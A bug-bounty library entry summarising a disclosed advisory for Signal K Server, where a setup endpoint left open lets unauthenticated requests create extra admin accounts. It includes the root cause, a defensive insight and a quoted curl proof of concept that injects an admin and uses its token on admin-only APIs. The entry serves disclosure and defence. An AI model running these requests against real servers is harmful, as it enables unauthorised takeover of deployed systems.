# Signal K Server: Privilege Escalation by Admin Role Injection via /enableSecurity

Signal K Server's /skServer/enableSecurity route stays open after initial setup, letting unauthenticated attackers inject a new admin account via the trusted type field.

- Payout: Research
- Severity: critical
- Program: Signal K Server
- Found by: VashuVats
- Disclosed: 2026-04-03
- CVE: CVE-2026-33950
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-x8hc-fqv3-7gwf
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-x8hc-fqv3-7gwf
- Tags: area:devices domain:iot domain:web impact:ato impact:privesc kind:research platform:ghsa sev:critical tech:nodejs technique:source-review vuln:access-control vuln:auth-bypass vuln:privilege-escalation

**Target:** HTTP endpoint /skServer/enableSecurity on signalk-server
**Root cause:** The enableSecurity route is registered only when no users exist at startup but is never deregistered after setup, and addUser blindly trusts the request body's type field when creating the user.
**Steps:**
1. POST `{"userId":"admin","password":"securepassword","type":"admin"}` to `http://localhost:3000/skServer/enableSecurity` to complete legitimate setup
2. Repeat the same POST with `{"userId":"attacker","password":"password123","type":"admin"}` — server accepts it and creates a second admin
3. Login via `POST /signalk/v1/auth/login` with attacker credentials to obtain JWT
4. Query `GET /skServer/security/users` with the Bearer token; both admin and attacker are listed as Administrators
**How found:** Reporter read SignalK's security docs noting enableSecurity is intentionally open on first init, then checked the source and observed the route registration is gated only by a startup-time user-count check with no deregistration, and that addUser passes request.body straight into the security strategy.
**Exploitation:** Unauthenticated attacker sends a single POST to the still-registered enableSecurity endpoint with type=admin, creating a privileged account, then logs in via the JWT login endpoint and accesses admin-only APIs.
**Insight:** For 'first-run setup' endpoints, verify the route is actually removed/disabled after initialization rather than gated by a startup-only condition; also check whether role/type fields in setup bodies are validated against an allowlist.

## Proof of concept (copied exactly from the original report)

**Unauthenticated request injecting second admin account**

```
curl -X POST http://localhost:3000/skServer/enableSecurity \
  -H "Content-Type: application/json" \
  -d '{"userId": "attacker", "password": "password123", "type": "admin"}'

Result: Security enabled (The vulnerability: The server fails to reject the request and creates the second admin).
```

**Login as injected attacker and fetch admin users**

```
TOKEN=$(curl -s -X POST http://localhost:3000/signalk/v1/auth/login \
  -H "Content-Type: application/json" \
  -d '{"username": "attacker", "password": "password123"}' | jq -r .token)
# Access Admin-Only Data
curl -H "Authorization: Bearer $TOKEN" http://localhost:3000/skServer/security/users
```

